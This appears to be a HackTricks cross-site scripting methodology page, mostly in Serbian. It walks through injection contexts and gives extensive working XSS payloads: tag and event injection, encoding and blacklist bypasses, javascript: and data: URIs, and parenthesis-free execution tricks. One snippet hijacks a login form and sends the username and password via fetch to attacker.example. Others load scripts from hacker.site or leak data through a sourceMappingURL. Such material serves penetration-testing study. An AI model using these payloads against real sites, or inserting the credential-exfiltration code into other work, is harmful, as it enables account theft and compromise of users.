%.*s
XSS (Cross Site Scripting)
Reading time: 55 minutes
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Metodologija
- Proverite da li se bilo koja vrednost kojom upravljate (parameters, path, headers?, cookies?) reflektuje u HTML-u ili koristi od strane JS koda.
- Pronađite kontekst u kome se to reflektuje/koristi.
- Ako je reflektovano
- Proverite koje simbole možete koristiti i u zavisnosti od toga pripremite payload:
- U raw HTML:
- Možete li kreirati nove HTML tagove?
- Možete li koristiti event-e ili atribute koji podržavaju
javascript:protokol? - Možete li zaobići zaštite?
- Da li HTML sadržaj tumači neki client side JS engine (AngularJS, VueJS, Mavo...), tada možete iskoristiti Client Side Template Injection.
- Ako ne možete kreirati HTML tagove koji izvršavaju JS kod, možete li iskoristiti Dangling Markup - HTML scriptless injection?
- Unutar HTML taga:
- Možete li izaći u raw HTML kontekst?
- Možete li kreirati nove event-e/atribute za izvršavanje JS koda?
- Da li atribut u kojem ste "zarobljeni" podržava izvršavanje JS-a?
- Možete li zaobići zaštite?
- Unutar JavaScript koda:
- Možete li izaći iz
<script>taga? - Možete li prekinuti string i izvršiti drugi JS kod?
- Da li je vaš input u template literals ``?
- Možete li zaobići zaštite?
- Javascript funkcija koja se izvršava
- Možete navesti ime funkcije koja će se izvršiti. npr.:
?callback=alert(1) - Ako se koristi:
- Možete iskoristiti DOM XSS, obratite pažnju kako je vaš input kontrolisan i da li se vaš kontrolisani input koristi od strane nekog sink-a.
Kada radite na kompleksnom XSS-u, može vam biti korisno znati o:
Reflektovane vrednosti
Da biste uspešno iskoristili XSS, prvo morate pronaći vrednost kojom upravljate koja se reflektuje na web stranici.
- Intermediately reflected: Ako otkrijete da se vrednost parametra ili čak putanja reflektuje na web stranici, možete iskoristiti Reflected XSS.
- Stored and reflected: Ako nađete vrednost kojom upravljate koja se čuva na serveru i reflektuje svaki put kada pristupite stranici, možete iskoristiti Stored XSS.
- Accessed via JS: Ako otkrijete da se vrednost kojom upravljate pristupa preko JS-a, možete iskoristiti DOM XSS.
Konteksti
Kada pokušavate da iskoristite XSS, prvo treba da znate gde se vaš input reflektuje. U zavisnosti od konteksta, bićete u mogućnosti da izvršite proizvoljni JS kod na različite načine.
Raw HTML
Ako se vaš input reflektuje u raw HTML-u stranice, moraćete da iskoristite neki HTML tag da biste izvršili JS kod: <img , <iframe , <svg , <script ... ovo su samo neki od mnogih HTML tagova koje možete koristiti.
Takođe, imajte na umu Client Side Template Injection.
Unutar atributa HTML taga
Ako se vaš input reflektuje unutar vrednosti atributa taga, možete pokušati:
- Da pobegnete iz atributa i iz taga (tada ćete biti u raw HTML-u) i kreirate novi HTML tag za zloupotrebu:
"><img [...] - Ako možete pobjeći iz atributa ali ne i iz taga (
>je enkodiran ili obrisan), u zavisnosti od taga možete napraviti event koji izvršava JS kod:" autofocus onfocus=alert(1) x=" - Ako ne možete pobjeći iz atributa (
"je enkodiran ili obrisan), onda u zavisnosti od koji atribut sadrži vaš input i da li kontrolišete celu vrednost ili samo deo bićete u mogućnosti da ga zloupotrebite. Na primer, ako kontrolišete event kaoonclick=moći ćete da izvršite proizvoljan kod kada se klikne. Još jedan interesantan primer je atributhref, gde možete koristitijavascript:protokol za izvršavanje proizvoljnog koda:href="javascript:alert(1)" - Ako se vaš input reflektuje unutar "unexpoitable tags" možete probati trik sa
accesskeyda zloupotrebite ranjivost (biće vam potrebna neka vrsta social engineering-a za eksploataciju):" accesskey="x" onclick="alert(1)" x="
Čudan primer Angular-a koji izvršava XSS ako kontrolišete ime klase:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Unutar JavaScript koda
U ovom slučaju vaš unos se reflektuje između <script> [...] </script> tagova HTML stranice, unutar .js fajla ili unutar atributa koji koristi javascript: protokol:
- Ako se reflektuje između
<script> [...] </script>tagova, čak i ako je vaš unos unutar bilo kakvih navodnika, možete pokušati da injektujete</script>i pobegnete iz ovog konteksta. Ovo funkcioniše zato što će browser prvo parsirati HTML tagove i zatim sadržaj, zato neće primetiti da je vaš injektovani</script>tag unutar HTML koda. - Ako se reflektuje unutar JS stringa i poslednji trik ne radi biće potrebno da izađete iz stringa, izvršite vaš kod i rekonstrušete JS kod (ako ima bilo kakva greška, neće biti izvršeno:
'-alert(1)-'';-alert(1)//\';alert(1)//- Ako se reflektuje unutar template literals možete ugraditi JS izraze koristeći
${ ... }sintaksu:var greetings = `Hello, ${alert(1)}` - Unicode encode radi da napišete valid javascript code:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting odnosi se na mogućnost da declare functions, variables or classes after they are used so you can abuse scenarios where a XSS is using undeclared variables or functions.
Pogledajte sledeću stranicu za više informacija:
Javascript Function
Nekoliko web stranica ima endpoints koji accept as parameter the name of the function to execute. Uobičajen primer koji se viđa u prirodi je nešto poput: ?callback=callbackFunc.
Dobar način da utvrdite da li se nešto što korisnik direktno unese pokušava izvršiti je modifying the param value (na primer u 'Vulnerable') i praćenje konzole za greške kao:
.png)
Ako je ranjivo, mogli biste biti u mogućnosti da trigger an alert jednostavnim slanjem vrednosti: ?callback=alert(1). Međutim, veoma je često da ovi endpoints validate the content tako da dozvoljavaju samo slova, brojeve, tačke i donje crte ([\w\._]).
Međutim, čak i uz to ograničenje i dalje je moguće izvršiti neke akcije. To je zato što možete koristiti te valid chars da access any element in the DOM:
.png)
Some useful functions for this:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
Takođe možete pokušati direktno da pokrenete Javascript funkcije: obj.sales.delOrders.
Međutim, obično su endpoint-i koji izvršavaju navedenu funkciju endpoint-i bez mnogo interesantnog DOM-a, druge stranice u istom originu će imati zanimljiviji DOM za izvođenje više akcija.
Stoga, da biste zloupotrebili ovu ranjivost u drugom DOM-u razvijen je exploit Same Origin Method Execution (SOME):
SOME - Same Origin Method Execution
DOM
Postoji JS code koji na nesiguran način koristi neke podatke koje kontroliše napadač poput location.href. Napadač može to zloupotrebiti za izvršavanje proizvoljnog JS koda.
Universal XSS
Ovakav tip XSS može se naći bilo gde. Ne zavise samo od eksploatacije klijenta web aplikacije, već od bilo kog konteksta. Ovakvo proizvoljno izvršavanje JavaScript-a može čak biti zloupotrebljeno za dobijanje RCE, za čitati proizvoljne fajlove na klijentima i serverima, i više.
Neki primeri:
WAF bypass encoding image
.jpg)
Injecting inside raw HTML
Kada je vaš input reflektovan inside the HTML page ili možete escape-ovati i injektovati HTML kod u tom kontekstu, prva stvar koju treba da uradite je da proverite da li možete iskoristiti < za kreiranje novih tagova: jednostavno pokušajte da reflektujete taj char i proverite da li je HTML encoded ili obrisan, ili je reflektovan bez izmena. Samo u poslednjem slučaju bićete u mogućnosti da iskoristite ovaj slučaj.
Za ove slučajeve takođe imajte na umu Client Side Template Injection.
Napomena: A HTML comment can be closed using****-->****or **--!>****
U ovom slučaju, i ako se ne koristi black/whitelisting, možete koristiti payloads poput:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
Međutim, ako se koristi black/whitelisting tagova/atributa, moraćete da brute-force which tags možete da kreirate.
Kada ste located which tags are allowed, potrebno je da brute-force attributes/events unutar pronađenih validnih tagova da biste videli kako možete napasti kontekst.
Tags/Events brute-force
Idite na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet i kliknite na Copy tags to clipboard. Zatim pošaljite sve njih koristeći Burp intruder i proverite da li je neki tag ostao neotkriven kao maliciozan od strane WAF-a. Kada otkrijete koje tagove možete koristiti, možete brute force all the events koristeći validne tagove (na istoj web stranici kliknite na Copy events to clipboard i sledite istu proceduru kao ranije).
Custom tags
Ako niste pronašli nijedan validan HTML tag, možete pokušati da create a custom tag i izvršite JS kod sa atributom onfocus. U XSS requestu, potrebno je da završite URL sa # kako biste naterali stranicu da se focus on that object i execute kod:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
Ako se koristi neka vrsta blacklist, možete pokušati da je bypass-ujete nekim smešnim trikovima:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Length bypass (mali XSS-ovi)
[!NOTE] > Više tiny XSS za različita okruženja payload može se pronaći ovde i ovde.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
Poslednji koristi 2 unicode karaktera koji se prošire na 5: telsr
Više ovih karaktera možete pronaći here.
Da proverite u koje se karaktere dekomponuje, proverite here.
Click XSS - Clickjacking
Ako je za eksploataciju ranjivosti potrebno da korisnik klikne na link ili formu sa unapred popunjenim podacima, možete pokušati da abuse Clickjacking (ako je stranica ranjiva).
Impossible - Dangling Markup
Ako mislite da je nemoguće kreirati HTML tag sa atributom koji izvršava JS kod, trebalo bi da proverite Danglig Markup jer možete exploit ranjivost without izvršavanja JS koda.
Injektovanje unutar HTML taga
Inside the tag/escaping from attribute value
Ako se nalazite inside a HTML tag, prva stvar koju možete pokušati je da escape iz taga i upotrebite neke od tehnika pomenutih u previous section da izvršite JS kod.
Ako cannot escape from the tag, možete kreirati nove atribute unutar taga da pokušate izvršiti JS kod, na primer koristeći neki payload poput (napomena: u ovom primeru double quotes se koriste da se escape-uje iz atributa, neće vam trebati ako je vaš input reflektovan direktno unutar taga):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Događaji stila
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Within the attribute
Čak i ako ne možete da pobegnete iz atributa (" se enkodira ili briše), u zavisnosti od koji atribut u kojem je vaša vrednost reflektovana i da li kontrolišete celu vrednost ili samo njen deo bićete u mogućnosti da to zloupotrebite. Na primer, ako kontrolišete event kao onclick= moći ćete da naterate izvršavanje proizvoljnog koda kada se klikne.
Još jedan zanimljiv primer je atribut href, gde možete koristiti javascript: protokol da izvršite proizvoljan kod: href="javascript:alert(1)"
Bypass inside event using HTML encoding/URL encode
HTML enkodovani karakteri unutar vrednosti atributa HTML tagova se dekodiraju tokom runtime-a. Dakle, nešto poput sledećeg će biti validno (payload je u boldu): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
Imajte na umu da je bilo koja vrsta HTML enkodiranja validna:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Imajte na umu da će URL encode takođe raditi:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Bypass unutar događaja koristeći Unicode enkodiranje
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Specijalni protokoli unutar atributa
Tu možete koristiti protokole javascript: ili data: na nekim mestima da biste izvršili proizvoljan JS kod. Neki će zahtevati interakciju korisnika, neki neće.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Mesta gde možete injektovati ove protokole
Uopšteno javascript: protokol može biti korišćen u bilo kojem tagu koji prihvata atribut href i u većini tagova koji prihvataju atribut src (ali ne <img> )
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Ostali obfuscation trikovi
U ovom slučaju HTML encoding i Unicode encoding trikovi iz prethodnog odeljka takođe važe jer se nalazite unutar atributa.
<a href="javascript:var a=''-alert(1)-''">
Štaviše, postoji još jedan koristan trik za ove slučajeve: Čak i ako je vaš unos unutar javascript:... URL encoded, on će biti URL decoded pre nego što se izvrši. Dakle, ako treba da escape iz string koristeći single quote i vidite da it's being URL encoded, zapamtite da it doesn't matter, biće interpreted kao single quote tokom execution.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Imajte na umu da ako pokušate da upotrebite oba URLencode + HTMLencode u bilo kom redosledu da enkodujete payload to neće raditi, ali možete ih mešati unutar payload.
Korišćenje Hex i Octal encode sa javascript:
Možete koristiti Hex i Octal encode unutar src atributa iframe (barem) kako biste deklarisali HTML tags to execute JS:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
Ako možete ubaciti bilo koji URL u proizvoljni <a href= tag koji sadrži atribute target="_blank" and rel="opener", proverite sledeću stranicu da biste iskoristili ovo ponašanje:
on Event Handlers Bypass
Prvo proverite ovu stranicu (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) za korisne "on" event handlers.
U slučaju da neka blacklist sprečava kreiranje ovih event handlera, možete pokušati sledeće bypass-e:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS u "Unexploitable tags" (hidden input, link, canonical, meta)
Prema here sada je moguće zloupotrebiti hidden inputs pomoću:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
I u meta tagovima:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
Iz here: Možete izvršiti XSS payload u skrivenom atributu, pod uslovom da možete nagovoriti žrtvu da pritisne kombinaciju tastera. U Firefoxu na Windows/Linux kombinacija tastera je ALT+SHIFT+X, a na OS X je CTRL+ALT+X. Možete navesti drugu kombinaciju tastera koristeći drugi taster u atributu accesskey. Evo vektora:
<input type="hidden" accesskey="X" onclick="alert(1)">
The XSS payload will be something like this: " accesskey="x" onclick="alert(1)" x="
Blacklist Bypasses
Several tricks with using different encoding were exposed already inside this section. Go back to learn where can you use:
- HTML encoding (HTML tags)
- Unicode encoding (može biti validan JS kod):
\u0061lert(1) - URL encoding
- Hex and Octal encoding
- data encoding
Bypasses for HTML tags and attributes
Pogledajte Blacklist Bypasses of the previous section.
Bypasses for JavaScript code
Pročitajte JavaScript bypass blacklist of the following section.
CSS-Gadgets
If you found a XSS in a very small part of the web that requires some kind of interaction (maybe a small link in the footer with an onmouseover element), you can try to modify the space that element occupies to maximize the probabilities of have the link fired.
For example, you could add some styling in the element like: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
But, if the WAF is filtering the style attribute, you can use CSS Styling Gadgets, so if you find, for example
.test {display:block; color: blue; width: 100%}
and
#someid {top: 0; font-family: Tahoma;}
Now you can modify our link and bring it to the form
<a href="" id=someid class=test onclick=alert() a="">
This trick was taken from https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Injecting inside JavaScript code
In these case you input is going to be reflected inside the JS code of a .js file or between <script>...</script> tags or between HTML events that can execute JS code or between attributes that accepts the javascript: protocol.
Izbegavanje <script> taga
If your code is inserted within <script> [...] var input = 'reflected data' [...] </script> you could easily escape closing the <script> tag:
</script><img src=1 onerror=alert(document.domain)>
Imajte na umu da u ovom primeru čak nismo ni zatvorili jednostruki navodnik. To je zato što HTML parsing prvo obavlja browser, što uključuje identifikovanje elemenata stranice, uključujući blokove script. Parsiranje JavaScript-a radi razumevanja i izvršavanja ugrađenih skripti obavlja se tek potom.
Unutar JS koda
Ako se <> sanitizuju, i dalje možete escape the string tamo gde je vaš unos located i execute arbitrary JS. Važno je fix JS syntax, jer ako postoje greške, JS kod neće biti izvršen:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
Kada korisnički unos dospe unutar quoted JavaScript stringa (npr. server-side echo into an inline script), možete prekinuti string, inject code i popraviti sintaksu tako da parsiranje ostane važeće. Generički skelet:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
Primer obrasca URL-a kada se ranjivi parametar reflektuje u JS string:
?param=test";<INJECTION>;a="
Ovo izvršava attacker JS bez potrebe da se dira HTML kontekst (čisti JS-in-JS). Kombinujte sa blacklist bypasses dole kada filters blokiraju keywords.
Template literals ``
Da biste kreirali strings, pored jednostrukih i dvostrukih navodnika, JS takođe prihvata backticks ``. Ovo je poznato kao template literals jer dozvoljavaju da se embedded JS expressions ugrađuju koristeći ${ ... } sintaksu.
Dakle, ako primetite da se vaš unos reflected unutar JS stringa koji koristi backticks, možete zloupotrebiti sintaksu ${ ... } da izvršite arbitrary JS code:
Ovo se može zloupotrebiti koristeći:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
Enkodirano izvršavanje koda
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Dostavljivi payloads sa eval(atob()) i nijanse scope-a
Da biste skratili URL-ove i zaobišli naivne filtere po ključnim rečima, možete base64-enkodovati svoju stvarnu logiku i izvršiti je sa eval(atob('...')). Ako jednostavno filtriranje po ključnim rečima blokira identifikatore kao što su alert, eval ili atob, koristite Unicode-escape-ovane identifikatore koji se kompajliraju identično u pregledaču, ali zaobilaze filtere koji se zasnivaju na podudaranju stringova:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
Važna nijansa opsega: const/let deklarisani unutar eval() su blok-ograničeni i NE stvaraju globalne promenljive; neće biti dostupni kasnijim skriptama. Koristite dinamički ubačen <script> element da definišete globalne, non-rebindable hook-ove kada je potrebno (npr. da hijack-ujete form handler):
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
Referenca: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Unicode enkodiranje za JS izvršavanje
alert(1)
alert(1)
alert(1)
JavaScript bypass blacklists tehnike
Strings
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Specijalni escapes
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
Zamene razmaka unutar JS koda
<TAB>
/**/
JavaScript comments (iz JavaScript Comments trik)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript nove linije (iz JavaScript new line trik)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScript beli razmaci
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript u komentaru
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript bez zagrada
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Poziv proizvoljne funkcije (alert)
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
